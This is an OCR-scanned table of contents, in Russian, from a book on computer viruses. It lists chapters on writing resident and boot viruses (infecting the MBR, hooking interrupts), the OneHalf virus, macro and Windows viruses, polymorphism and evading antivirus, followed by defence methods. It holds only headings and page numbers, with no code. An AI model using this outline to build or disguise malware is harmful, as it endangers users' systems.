154 155 156 156
Содержание Несколько слов о вредных действиях вирусной программы Полный текст резидентного ЕХЕ-вируса Способ оседания вируса в памяти
;157 157 169
Разработка загрузочной вирусной программы Краткие сведения о начальной загрузке персонального компьютера
173
Начало работы Защита от антивирусных программ
.
Перехватываем Int 13h Читаем исходную ВООТ-запись Заражаем MBR винчестера Пишем обработчик прерывания Int 13h Используемые процедуры Область данных вируса
175 177 178 178 179 180 183 184
Пишем секцию инсталляции 184 Листинг загрузочного вируса -. 186 Комментарии » . . 192 Испытание вируса '. 192 Шедевр ВООТ-вирусов 193 МСЕ-3544 (ONEHALF) ....... 194 ВООТ-вирус с нестандартным алгоритмом активизации .. . .234 Как начинается распространение вируса .239 Перехватываем Int 16h , 241 Читаем исходную ВООТ-запись 241 Заражаем MBR винчестера Пишем секцию инсталляции Текст загрузочного вируса
242 246 247
Создание Макро-вируса
254
Вирусы под Windows
'
257
Технологии создания вирусов Минимальные вирусы
298
455
Содержание Классический сплайсинг на примере INT 21 h Добрались и до биоса! Степс "Психологическое" стелсирование Как же работают полиморфные вирусы Трассировка без преград Супервизор защищенного режима Как "обуть" антивирус
'
298 301 302 . .303 303 306 . . .309 .313
Как реализовать защиту от эвристического анализа
317
Классификация компьютерных вирусов Принцип построения классификации
318 319
Конструкторы вирусов
328
Методы защиты Типичные ошибки "зараженных" пользователей Оператор Проблема защиты путем "самоотсечения" Карантин Программы обнаружения изменений Антивирусные программы Какой антивирус лучше? Типы антивирусов Антивирусные программы, наиболее известные в России Методика использования антивирусных программ Защитные вирусы Архивирование Используйте программы резервирования FAT и главного каталога в AUTOEXEC.BAT Используйте систему "неделя-месяц-год" Запомните параметры, jхранящиеся в CMOS-памяти, пока еще не поздно Симптомы заражения Как избавиться от файлового вируса Общие понятия об эвристическом анализе .-.,
456
337 338 339 340 341 343 .343 345 . .348 350 358 359 360 360 361 362 363 368